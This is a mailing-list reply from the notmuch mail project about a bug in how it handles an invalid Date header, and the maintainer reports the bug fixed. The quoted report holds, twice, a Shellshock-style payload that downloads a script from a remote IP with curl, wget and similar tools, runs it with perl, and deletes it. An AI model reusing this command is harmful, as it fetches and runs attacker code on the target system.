From mboxrd@z Thu Jan  1 00:00:00 1970
Return-Path: <david@tethera.net>
Received: from localhost (localhost [127.0.0.1])
 by arlo.cworth.org (Postfix) with ESMTP id 827606DE170B
 for <notmuch@notmuchmail.org>; Sun, 19 Mar 2017 05:31:13 -0700 (PDT)
X-Virus-Scanned: Debian amavisd-new at cworth.org
X-Spam-Flag: NO
X-Spam-Score: -0.004
X-Spam-Level: 
X-Spam-Status: No, score=-0.004 tagged_above=-999 required=5 tests=[AWL=0.006, 
 NORMAL_HTTP_TO_IP=0.001, SPF_PASS=-0.001,
 T_RP_MATCHES_RCVD=-0.01] autolearn=disabled
Received: from arlo.cworth.org ([127.0.0.1])
 by localhost (arlo.cworth.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id NzKogp3CCL_8 for <notmuch@notmuchmail.org>;
 Sun, 19 Mar 2017 05:31:12 -0700 (PDT)
Received: from fethera.tethera.net (fethera.tethera.net [198.245.60.197])
 by arlo.cworth.org (Postfix) with ESMTPS id 795B16DE170A
 for <notmuch@notmuchmail.org>; Sun, 19 Mar 2017 05:31:12 -0700 (PDT)
Received: from remotemail by fethera.tethera.net with local (Exim 4.84_2)
 (envelope-from <david@tethera.net>)
 id 1cpZyc-0003Pg-Fz; Sun, 19 Mar 2017 08:30:26 -0400
Received: (nullmailer pid 25720 invoked by uid 1000);
 Sun, 19 Mar 2017 12:31:07 -0000
From: David Bremner <david@tethera.net>
To: Johannes Schauer <j.schauer@email.de>, notmuch@notmuchmail.org
Subject: Re: bug: notmuch cannot handle invalid Date fields
In-Reply-To: <20150422065630.6330.90536@hoothoot>
References: <20150422065630.6330.90536@hoothoot>
Date: Sun, 19 Mar 2017 09:31:07 -0300
Message-ID: <87zighjvn8.fsf@tethera.net>
MIME-Version: 1.0
Content-Type: text/plain
X-BeenThere: notmuch@notmuchmail.org
X-Mailman-Version: 2.1.22
Precedence: list
List-Id: "Use and development of the notmuch mail system."
 <notmuch.notmuchmail.org>
List-Unsubscribe: <https://notmuchmail.org/mailman/options/notmuch>,
 <mailto:notmuch-request@notmuchmail.org?subject=unsubscribe>
List-Archive: <http://notmuchmail.org/pipermail/notmuch/>
List-Post: <mailto:notmuch@notmuchmail.org>
List-Help: <mailto:notmuch-request@notmuchmail.org?subject=help>
List-Subscribe: <https://notmuchmail.org/mailman/listinfo/notmuch>,
 <mailto:notmuch-request@notmuchmail.org?subject=subscribe>
X-List-Received-Date: Sun, 19 Mar 2017 12:31:13 -0000

Johannes Schauer <j.schauer@email.de> writes:

> Hi,
>
> I recently received an email with the following date field (the value of all
> other headers is the same):
>
> Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
>
> When doing `notmuch search lwp-download` I get:
>
> thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread)
>
> You can see that the date is 1899-12-31 which is wrong.

This should now be fixed, as of 62822a4e2

d